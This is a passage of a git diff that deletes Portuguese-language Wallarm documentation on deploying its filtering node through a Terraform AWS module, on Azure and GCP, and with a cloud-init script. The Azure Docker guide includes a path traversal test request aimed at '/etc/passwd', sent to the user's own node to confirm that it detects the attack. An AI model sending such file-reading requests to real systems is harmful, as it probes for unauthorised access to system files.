            Você encontrará o exemplo de configuração da variável no [exemplo de implantação da solução proxy avançada](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L19). | string | Não -|`post_script` | Script personalizado a ser executado após o [script de inicialização do nó Wallarm (`cloud-init.py`)](../../cloud-init.md). Você pode colocar o arquivo com qualquer script no diretório de código do Terraform e especificar o caminho para este arquivo nesta variável.

            Você encontrará o exemplo de configuração da variável no [exemplo de implantação da solução proxy avançada](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L34). | string | Não -| **Configuração de implantação da AWS** | | | | -| `app_name` | Prefixo para os nomes dos recursos da AWS que o módulo Wallarm irá criar.

            Por padrão, `wallarm`. | string | Não -| `app_name_no_template` | Se usar letras maiúsculas, números e caracteres especiais nos nomes dos recursos da AWS que o módulo Wallarm irá criar. Se `false`, os nomes dos recursos incluirão apenas letras minúsculas.

            Por padrão, `false`. | bool | Não -| `lb_subnet_ids` | [Lista de IDs de sub-redes do Virtual Private Cloud da AWS](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) para implantar um Balanceador de Carga de Aplicativos. O valor recomendado são sub-redes públicas associadas a uma tabela de roteamento que tem uma rota para um gateway da internet. | list(string) | Não -| `instance_subnet_ids` | [Lista de IDs de sub-redes do Virtual Private Cloud da AWS](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) para implantar instâncias EC2 Wallarm. O valor recomendado são sub-redes privadas configuradas para conexões somente de saída. | list(string) | Não -| `lb_enabled` | Se criar um Balanceador de Carga de Aplicativos AWS. Um grupo de destino será criado com qualquer valor passado nesta variável, a menos que um grupo de destino personalizado seja especificado na variável `custom_target_group`.

            Por padrão, `true`. | bool | Não -| `lb_internal` | Se fazer um Balanceador de Carga de Aplicativos um [balanceador de carga interno](https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-internal-load-balancers.html). Por padrão, um ALB tem o tipo voltado para a internet. Se usar a abordagem assíncrona para lidar com as conexões, o valor recomendado é `true`.

            Por padrão, `false`. | bool | Não -| `lb_deletion_protection` | Se habilitar proteção para um [Balanceador de Carga de Aplicações ser impossibilitado de ser excluído acidentalmente](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#deletion-protection). Para implantações de produção, o valor recomendado é `true`.

            Por padrão, `true`. | bool | Não -| `lb_ssl_enabled` | Se [negociar conexões SSL](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies) entre um cliente e um Balanceador de Carga de Aplicativos. Se `true`, as variáveis `lb_ssl_policy` e `lb_certificate_arn` são obrigatórias. Recomendado para implantações de produção.

            Por padrão, `false`. | bool | Não -| `lb_ssl_policy` | [Política de segurança para um Balanceador de Carga de Aplicativos](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies). | string | Sim, se `lb_ssl_enabled` for `true` -| `lb_certificate_arn` | [Nome do Recurso da Amazon (ARN)](https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html) de um certificado do Gerenciador de Certificados AWS (ACM). | string | Sim, se `lb_ssl_enabled` for `true` -| `custom_target_group` | Nome do grupo de destino existente para [anexar ao grupo Auto Scaling criado](https://docs.aws.amazon.com/autoscaling/ec2/userguide/attach-load-balancer-asg.html). Por padrão, um novo grupo de destino será criado e anexado. Se o valor for não padrão, a criação da ALB AWS será desabilitada. | string | Não -| `inbound_allowed_ip_ranges` | Lista de IPs e redes de origem para permitir conexões de entrada para instâncias Wallarm. Lembre-se de que a AWS mascara o tráfego do balanceador de carga, mesmo que seja originado de sub-redes públicas.

            Por padrão:
            • `"10.0.0.0/8",`
            • `"172.16.0.0/12",`
            • `"192.168.0.0/16"`
            | list(string) | Não -| `outbound_allowed_ip_ranges` | Lista de IPs e redes de origem para permitir conexões externas da instância Wallarm.

            Por padrão: `"0.0.0.0/0"`. | list(string) | Não -| `extra_ports` | Lista de portas extras de rede interna para permitir conexões de entrada para instâncias Wallarm. A configuração será aplicada a um grupo de segurança. | list(number) | Não -| `extra_public_ports` | Lista de portas extras de rede pública para permitir conexões de entrada para instâncias Wallarm.| list(number) | Não -| `extra_policies` | Políticas IAM AWS a serem associadas à pilha Wallarm. Pode ser útil usar junto com a variável `post_script` executando o script que solicita dados do Amazon S3. | list(string) | Não -| `source_ranges` | Lista de IPs e redes de origem para permitir tráfego do Balanceador de Carga de Aplicativos AWS.

            Por padrão, `"0.0.0.0/0"`. | list(string) | Não -| `https_redirect_code` | Código para redirecionamento de solicitação HTTP para HTTPS. Valores possíveis:
            • `0` - redirecionamento desativado
            • `301` - redirecionamento permanente
            • `302` - redirecionamento temporário
            Por padrão, `0`. | number | Não -| `asg_enabled` | Se criar um [grupo Auto Scaling AWS](https://docs.aws.amazon.com/autoscaling/ec2/userguide/auto-scaling-groups.html).

            Por padrão, `true` | bool | Não -| `min_size` | Número mínimo de instâncias no grupo Auto Scaling AWS criado.

            Por padrão, `1`.| number | Não -| `max_size` | Número máximo de instâncias no grupo Auto Scaling AWS criado.

            Por padrão, `3`.| number | Não -| `desired_capacity` | Número inicial de instâncias no grupo Auto Scaling AWS criado. Deve ser maior ou igual a `min_size` e menor ou igual a `max_size`.

            Por padrão, `1`.| number | Não -| `autoscaling_enabled` | Se habilitar [Auto Scaling da Amazon EC2](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html) para o cluster Wallarm.

            Por padrão, `false`. | bool | Não -| `autoscaling_cpu_target` | Porcentagem média de utilização da CPU para manter o grupo Auto Scaling AWS. Por padrão, `70.0`. | string | Não -| `ami_id` | [ID da Imagem de Máquina Amazon](https://docs.aws.amazon.com/managedservices/latest/userguide/find-ami.html) a ser usada para a implantação da instância Wallarm. Por padrão (string vazia), a imagem mais recente do upstream é usada. Você é bem-vindo para criar o AMI personalizado baseado no nó Wallarm. | string | Não -| `key_name` | Nome do [par de chaves AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) a ser usado para se conectar às instâncias Wallarm via SSH. Por padrão, a conexão SSH está desativada. | string | Não -| `tags` | Tags para os recursos AWS que o módulo Wallarm vai criar.| map(string) | Não - -## Experimentando o Módulo Terraform Wallarm com exemplos - -Preparamos exemplos de diferentes maneiras de usar o módulo Wallarm, para que você possa experimentá-lo antes de implantá-lo na produção: - -* [Proxy na VPC AWS](proxy-in-aws-vpc.md) -* [Proxy para Amazon API Gateway](proxy-for-aws-api-gateway.md) - -## Mais informações sobre Wallarm e Terraform - -O Terraform suporta uma série de integrações (**provedores**) e configurações prontas para uso (**módulos**) disponíveis para os usuários através do registro público [registry](https://www.terraform.io/registry#navigating-the-registry), populado por vários fornecedores. - -Para este registro, o Wallarm publicou: - -* O [módulo Wallarm](https://registry.terraform.io/modules/wallarm/wallarm/aws/) para implantar o nó na AWS a partir do ambiente compatível com Terraform. Descrito neste artigo. -* O [provedor Wallarm](../../../../admin-en/managing/terraform-provider.md) para gerenciamento do Wallarm via Terraform. - -Estes dois são elementos independentes usados para diferentes propósitos, não exigem um ao outro. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 120000 index d3db7a79da..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ -terraform-aws-wallarm/examples/apigateway/README.md \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 120000 index 832e948a84..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1 +0,0 @@ -terraform-aws-wallarm/examples/proxy/README.md \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm b/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-pt-BR/installation/cloud-platforms/azure/deb-rpm-packages.md b/docs/latest-pt-BR/installation/cloud-platforms/azure/deb-rpm-packages.md deleted file mode 100644 index b928cd5adf..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/azure/deb-rpm-packages.md +++ /dev/null @@ -1,57 +0,0 @@ -# Instalação do nó de filtragem a partir de pacotes DEB ou RPM no Azure - -Este guia rápido fornece os passos para instalar o nó de filtragem a partir dos pacotes de origem em uma instância separada no Azure. Seguindo este guia, você criará uma instância a partir da imagem do sistema operacional suportado e instalará o nó de filtragem Wallarm neste sistema operacional. - -!!! Atenção "Limitações das instruções" - Estas instruções não cobrem a configuração do balanceamento de carga e o dimensionamento automático do nó. Se for configurar estes componentes por conta própria, recomendamos que você consulte as [instruções do Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/tutorial-load-balancer). - -## Requisitos - -* Assinatura ativa do Azure -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) - -## Opções de instalação do nó de filtragem - -Como o nó de filtragem opera como o módulo do servidor web ou [gateway de API](https://www.wallarm.com/what/the-concept-of-an-api-gateway), os pacotes do servidor web ou gateway de API devem ser instalados no sistema operacional juntamente com os pacotes do nó de filtragem. - -Você pode selecionar o servidor web ou gateway de API mais adequado para a arquitetura de sua aplicação a partir da lista a seguir: - -* [Instale o nó de filtragem como o módulo NGINX Stable](#installing-the-filtering-node-as-the-nginx-stable-module) -* [Instale o nó de filtragem como o módulo NGINX Plus](#installing-the-filtering-node-as-the-nginx-plus-module) - -## Instalando o nó de filtragem como o módulo NGINX Stable - -Para instalar o nó de filtragem como o módulo NGINX Stable na instância do Azure: - -1. Crie uma instância Azure a partir da imagem de sistema operacional suportada pela Wallarm seguindo as [instruções do Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/quick-create-portal): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x -2. Conecte-se à instância criada seguindo as [instruções do Azure](https://docs.microsoft.com/en-us/azure/bastion/bastion-connect-vm-ssh). -3. Na instância, instale os pacotes do NGINX Stable e do nó de filtragem Wallarm seguindo as [instruções do Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo postanalytics em uma instância separada, por favor repita os passos 1-2 e instale o módulo postanalytics seguindo as [instruções do Wallarm](../../../admin-en/installation-postanalytics-en.md). - -## Instalando o nó de filtragem como o módulo NGINX Plus - -Para instalar o nó de filtragem como o módulo NGINX Plus na instância do Azure: - -1. Crie uma instância Azure a partir da imagem do sistema operacional suportada pela Wallarm seguindo as [instruções do Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/quick-create-portal): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x -2. Conecte-se à instância criada seguindo as [instruções do Azure](https://docs.microsoft.com/en-us/azure/bastion/bastion-connect-vm-ssh). -3. Na instância, instale os pacotes do NGINX Plus e do nó de filtragem Wallarm seguindo as [instruções do Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo postanalytics em uma instância separada, por favor repita os passos 1-2 e instale o módulo postanalytics seguindo as [instruções do Wallarm](../../../admin-en/installation-postanalytics-en.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/azure/docker-container.md b/docs/latest-pt-BR/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index 040c59ee8f..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,202 +0,0 @@ -# Implantação da Imagem Docker da Wallarm no Azure - -Este guia rápido fornece as etapas para implantar a [Imagem Docker do nó Wallarm baseado em NGINX](https://hub.docker.com/r/wallarm/node) na plataforma de nuvem Microsoft Azure usando o serviço [**Container Instances do Azure**](https://docs.microsoft.com/en-us/azure/container-instances/). - -!!! aviso "Limitações das instruções" - Estas instruções não cobrem a configuração do balanceamento de carga e do dimensionamento automático de nós. Se estiver configurando esses componentes por conta própria, recomendamos que você leia a documentação sobre o [Gateway de Aplicativos Azure](https://docs.microsoft.com/en-us/azure/application-gateway/overview). - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/azure-container-instances-use-cases.md" - -## Requisitos - -* Assinatura ativa do Azure -* [CLI Azure instalado](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou a [Nuvem da UE](https://my.wallarm.com/) - -## Opções para a configuração do contêiner Docker do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/docker-running-options.md" - -## Implantando o contêiner Docker do nó Wallarm configurado através de variáveis de ambiente - -Para implantar o nó de filtragem em contêiner Wallarm configurado apenas por meio de variáveis de ambiente, você pode usar as seguintes ferramentas: - -* [CLI Azure](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart) -* [Portal Azure](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-portal) -* [PowerShell Azure](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-powershell) -* [Modelo ARM](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-template) -* [CLI Docker](https://docs.microsoft.com/en-us/azure/container-instances/quickstart-docker-cli) - -Nestas instruções, o contêiner é implantado usando a CLI Azure. - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Entre na CLI Azure usando o comando [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login): - - ```bash - az login - ``` -1. Crie um grupo de recursos usando o comando [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create). Por exemplo, crie o grupo `meuGrupoDeRecursos` na região Leste dos EUA com o seguinte comando: - - ```bash - az group create --name meuGrupoDeRecursos --location eastus - ``` -1. Defina a variável de ambiente local com o token do nó Wallarm a ser usado para conectar a instância à Nuvem Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Crie um recurso Azure a partir do contêiner Docker do nó Wallarm usando o comando [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create): - - === "Comando para a Nuvem Wallarm dos EUA" - ```bash - az container create \ - --resource-group meuGrupoDeRecursos \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.8.0-1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_API_HOST='us1.api.wallarm.com' - ``` - === "Comando para a Nuvem Wallarm da UE" - ```bash - az container create \ - --resource-group meuGrupoDeRecursos \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.8.0-1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' - ``` - - * `--resource-group`: nome do grupo de recursos criado na segunda etapa. - * `--name`: nome do contêiner. - * `--dns-name-label`: etiqueta de nome DNS para o contêiner. - * `--ports`: porta em que o nó de filtragem está ouvindo. - * `--image`: nome da imagem Docker do nó Wallarm. - * `--environment-variables`: variáveis de ambiente com a configuração do nó de filtragem (variáveis disponíveis estão listadas na tabela abaixo). Por favor, observe que não é recomendado passar o valor de `WALLARM_API_TOKEN` explicitamente. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md" -1. Abra o [Portal Azure](https://portal.azure.com/) e verifique se o recurso criado é exibido na lista de recursos. -1. [Teste a operação do nó de filtragem](#testando-a-operação-do-nó-de-filtragem). - -## Implantando o contêiner Docker do nó Wallarm configurado através do arquivo montado - -Para implantar o nó de filtragem em contêiner Wallarm configurado por meio de variáveis de ambiente e arquivo montado, apenas o [CLI Azure](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) pode ser usado. - -Para implantar o contêiner com variáveis de ambiente e arquivo de configuração montado: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Entre na CLI Azure usando o comando [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login): - - ```bash - az login - ``` -1. Crie um grupo de recursos usando o comando [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create). Por exemplo, crie o grupo `meuGrupoDeRecursos` na região Leste dos EUA com o seguinte comando: - - ```bash - az group create --name meuGrupoDeRecursos --location eastus - ``` -1. Crie um arquivo de configuração localmente com as configurações do nó de filtragem. Um exemplo do arquivo com as configurações mínimas: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Conjunto de diretivas do nó de filtragem que podem ser especificadas no arquivo de configuração →][nginx-waf-directives] -1. Localize o arquivo de configuração de uma das maneiras adequadas para montar volumes de dados no Azure. Todos os métodos são descritos na [seção **Mount data volumes** da documentação do Azure](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-volume-azure-files). - - Nestas instruções, o arquivo de configuração é montado a partir do repositório Git. -1. Defina a variável de ambiente local com o token do nó Wallarm a ser usado para conectar a instância à Nuvem Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Crie um recurso Azure a partir do contêiner Docker do nó Wallarm usando o comando [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create): - - === "Comando para a Nuvem Wallarm dos EUA" - ```bash - az container create \ - --resource-group meuGrupoDeRecursos \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.8.0-1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/sites-enabled \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_API_HOST='us1.api.wallarm.com' - ``` - === "Comando para a Nuvem Wallarm da UE" - ```bash - az container create \ - --resource-group meuGrupoDeRecursos \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:4.8.0-1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/sites-enabled \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} - ``` - - * `--resource-group`: nome do grupo de recursos criado na segunda etapa. - * `--name`: nome do contêiner. - * `--dns-name-label`: etiqueta de nome DNS para o contêiner. - * `--ports`: porta em que o nó de filtragem está ouvindo. - * `--image`: nome da imagem Docker do nó Wallarm. - * `--gitrepo-url`: URL do repositório Git que contém o arquivo de configuração. Se o arquivo estiver localizado na raíz do repositório, você precisará passar apenas este parâmetro. Se o arquivo estiver localizado em um diretório de repositório Git separado, por favor, passe também o caminho para o diretório no parâmetro `--gitrepo-dir` (por exemplo,
            `--gitrepo-dir ./dir1`). - * `--gitrepo-mount-path`: diretório do contêiner para montar o arquivo de configuração. Os arquivos de configuração podem ser montados nos seguintes diretórios de contêiner usados pelo NGINX: - - * `/etc/nginx/conf.d` — configurações comuns - * `/etc/nginx/sites-enabled` — configurações do host virtual - * `/var/www/html` — arquivos estáticos - - As diretivas do nó de filtragem devem ser descritas no arquivo `/etc/nginx/sites-enabled/default`. - - * `--environment-variables`: variáveis de ambiente contendo configurações para o nó de filtragem e conexão com a Nuvem Wallarm (variáveis disponíveis estão listadas na tabela abaixo). Por favor, observe que não é recomendado passar explicitamente o valor de `WALLARM_API_TOKEN`. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. Abra o [Portal Azure](https://portal.azure.com/) e verifique se o recurso criado é exibido na lista de recursos. -1. [Teste a operação do nó de filtragem](#testando-a-operação-do-nó-de-filtragem). - -## Testando a operação do nó de filtragem - -1. Abra o recurso criado no Portal Azure e copie o valor **FQDN**. - - ![Configurando a instância do contêiner][copy-container-ip-azure-img] - - Se o campo **FQDN** estiver vazio, verifique se o contêiner está no status **Running**. - -2. Envie a solicitação com o teste de ataque [Path Traversal][ptrav-attack-docs] para o domínio copiado: - - ``` - curl http:///etc/passwd - ``` -3. Abra o Console Wallarm → **Events** na [Nuvem dos EUA](https://us1.my.wallarm.com/attacks) ou na [Nuvem da UE](https://my.wallarm.com/attacks) e verifique se o ataque aparece na lista. - ![Ataques na Interface do Usuário][attacks-in-ui-image] - -Os detalhes sobre erros ocorridos durante a implantação do contêiner são exibidos na guia **Containers** → **Logs** dos detalhes do recurso no Portal Azure. Se o recurso não estiver disponível, verifique se os parâmetros necessários do nó de filtragem com valores corretos são passados para o contêiner. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/cloud-init.md b/docs/latest-pt-BR/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index 9617c73c55..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1,89 +0,0 @@ -# Especificação do Script cloud-init da Wallarm - -Ao seguir a abordagem de Infraestrutura como Código (IaC), você pode precisar usar o script [`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html) para implantar o nó Wallarm na nuvem pública. A partir do lançamento 4.0, a Wallarm distribui suas imagens na nuvem com o script `cloud-init.py` pronto para uso que é descrito neste tópico. - -## Visão geral do script cloud-init da Wallarm - -O script `cloud-init` da Wallarm está disponível no caminho `/usr/share/wallarm-common/cloud-init.py` na [imagem na nuvem da Wallarm na AWS](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe). Este script realiza um inicial e uma configuração de instância avançada com as seguintes principais etapas: - -* Executa o nó Wallarm criado anteriormente na Nuvem Wallarm executando o script `register-node` da Wallarm -* Configura a instância de acordo com a abordagem de proxy ou espelho especificada na variável `preset` (se implantar o Wallarm usando o [módulo Terraform](aws/terraform-module/overview.md)) -* Refina a instância de acordo com os snippets do NGINX -* Refina o nó da Wallarm -* Executa verificações de saúde para o Load Balancer - -O script `cloud-init` é executado apenas uma vez na inicialização da instância, a reinicialização da instância não força seu lançamento. Você encontrará mais detalhes na [documentação da AWS sobre o conceito de script](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html). - -## Executando o script cloud-init da Wallarm - -Você pode executar o script cloud-init da Wallarm da seguinte maneira: - -* Inicie uma instância na nuvem e use seus metadados para descrever a execução do script `cloud-init.py` -* Crie um modelo de lançamento de instância com o script `cloud-init.py` e aplique com base nele um grupo de dimensionamento automático - -Exemplo da execução do script para executar o nó Wallarm como um servidor proxy para [httpbin.org](https://httpbin.org): - -```bash -#!/bin/bash -set -e - -### Impedir a execução do NGINX sem -### Wallarm habilitado, não é recomendado -### verificar a saúde antes de tudo estar pronto -### -systemctl stop nginx.service - -/usr/share/wallarm-common/cloud-init.py \ - -t xxxxx-base64-registration-token-from-wallarm-cloud-xxxxx \ - -p proxy \ - -m monitoring \ - --proxy-pass https://httpbin.org - -systemctl restart nginx.service - -echo Nó Wallarm configurado com sucesso! -``` - -Para atender à abordagem Infraestrutura como Código (IaC), implementamos o [módulo Terraform para AWS](aws/terraform-module/overview.md) que pode ser um exemplo ilustrativo do uso do script `cloud-init` da Wallarm. - -## Dados de ajuda do script cloud-init da Wallarm - -```plain -usage: /usr/share/wallarm-common/cloud-init.py [-h] -t TOKEN [-H HOST] [--skip-register] [-p {proxy,mirror,custom}] - [-m {off,monitoring,safe_blocking,block}] [--proxy-pass PROXY_PASS] - [--libdetection] [--global-snippet GLOBAL_SNIPPET_FILE] - [--http-snippet HTTP_SNIPPET_FILE] [--server-snippet SERVER_SNIPPET_FILE] - [-l LOG_LEVEL] - -Executa o nó Wallarm com a configuração especificada no cluster PaaS. https://docs.wallarm.com/waf-installation/cloud- -platforms/cloud-init/ - -argumentos opcionais: - -h, --help mostrar esta mensagem de ajuda e sair - -t TOKEN, --token TOKEN - Token do nó Wallarm copiado da interface de usuário do Console Wallarm. - -H HOST, --host HOST Servidor de API Wallarm específico para a nuvem Wallarm em uso: https://docs.wallarm.com/about-wallarm- - waf/overview/#cloud. Por padrão, api.wallarm.com. - --skip-register Pula a etapa de execução local do nó criado na nuvem Wallarm (pula a execução do script register-node). - Esta etapa é crucial para o sucesso da implantação do nó. - -p {proxy,mirror,custom}, --preset {proxy,mirror,custom} - Preset do nó Wallarm: "proxy" para o nó operar como um servidor proxy, "mirror" para o nó processar - tráfego espelhado, "custom" para configuração definida apenas via snippets NGINX. - -m {off,monitoring,safe_blocking,block}, --mode {off,monitoring,safe_blocking,block} - Modo de filtragem de tráfego: https://docs.wallarm.com/admin-en/configure-parameters-en/#wallarm_mode. - --proxy-pass PROXY_PASS - Protocolo e endereço do servidor proxy. Necessário se "proxy" for especificado como um preset. - --libdetection Se deve usar a biblioteca libdetection durante a análise de tráfego: https://docs.wallarm.com/about-wallarm- - waf/protecting-against-attacks.md#library-libdetection. - --global-snippet GLOBAL_SNIPPET_FILE - Configuração personalizada para ser adicionada à configuração global do NGINX. - --http-snippet HTTP_SNIPPET_FILE - Configuração personalizada para ser adicionada ao bloco de configuração "http" do NGINX. - --server-snippet SERVER_SNIPPET_FILE - Configuração personalizada para ser adicionada ao bloco de configuração "server" do NGINX. - -l LOG_LEVEL, --log LOG_LEVEL - Nível de verbosidade. - -Este script abrange algumas das configurações mais populares para AWS, GCP, Azure e outros PaaS. Se você precisa de uma configuração mais poderosa, -você está convidado a revisar a documentação pública do nó Wallarm: https://docs.wallarm.com. -``` diff --git a/docs/latest-pt-BR/installation/cloud-platforms/gcp/deb-rpm-packages.md b/docs/latest-pt-BR/installation/cloud-platforms/gcp/deb-rpm-packages.md deleted file mode 100644 index f521793a49..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/gcp/deb-rpm-packages.md +++ /dev/null @@ -1,59 +0,0 @@ -# Instalação do nó de filtragem a partir dos pacotes DEB ou RPM no GCP - -Este guia rápido fornece os passos para instalar o nó de filtragem a partir dos pacotes de origem em uma instância Google Engine separada. Seguindo este guia, você criará uma instância a partir da imagem do sistema operacional suportado e instalará o nó de filtragem Wallarm neste sistema operacional. - -!!! warning "Limitações das instruções" - Estas instruções não cobrem a configuração do balanceamento de carga e do autoescalonamento do nó. Se estiver configurando esses componentes por conta própria, recomendamos que você revise as [instruções do GCP](https://cloud.google.com/compute/docs/load-balancing-and-autoscaling). - -## Requisitos - -* Conta GCP ativa -* [Projeto GCP criado](https://cloud.google.com/resource-manager/docs/creating-managing-projects) -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) - -## Opções de instalação do nó de filtragem - -Como o nó de filtragem opera como o módulo do servidor web ou [API gateway](https://www.wallarm.com/what/the-concept-of-an-api-gateway), os pacotes do servidor web ou API gateway devem ser instalados no sistema operacional juntamente com os pacotes do nó de filtragem. - -Você pode selecionar o servidor web ou API gateway que é o mais adequado para a arquitetura de sua aplicação a partir da seguinte lista: - -* [Instale o nó de filtragem como o módulo NGINX Stable](#installing-the-filtering-node-as-the-nginx-stable-module) -* [Instale o nó de filtragem como o módulo NGINX Plus](#installing-the-filtering-node-as-the-nginx-plus-module) - -## Instalando o nó de filtragem como o módulo NGINX Stable - -Para instalar o nó de filtragem como o módulo NGINX Stable na instância do Google Engine: - -1. Crie uma instância do Google Engine a partir da imagem do sistema operacional suportada pela Wallarm seguindo as [instruções do GCP](https://cloud.google.com/compute/docs/instances/create-start-instance#publicimage): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x -2. Conecte-se à instância criada seguindo as [instruções do GCP](https://cloud.google.com/compute/docs/instances/connecting-to-instance). -3. Na instância, instale os pacotes do NGINX Stable e do nó de filtragem Wallarm seguindo as [instruções da Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo postanalytics em uma instância separada, por favor repita os passos 1-2 e instale o módulo postanalytics seguindo as [instruções da Wallarm](../../../admin-en/installation-postanalytics-en.md). - -## Instalando o nó de filtragem como o módulo NGINX Plus - -Para instalar o nó de filtragem como o módulo NGINX Plus na instância do Google Engine: - -1. Crie uma instância do Google Engine a partir da imagem do sistema operacional suportada pela Wallarm seguindo as [instruções do GCP](https://cloud.google.com/compute/docs/instances/create-start-instance#publicimage): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x -2. Conecte-se à instância criada seguindo as [instruções do 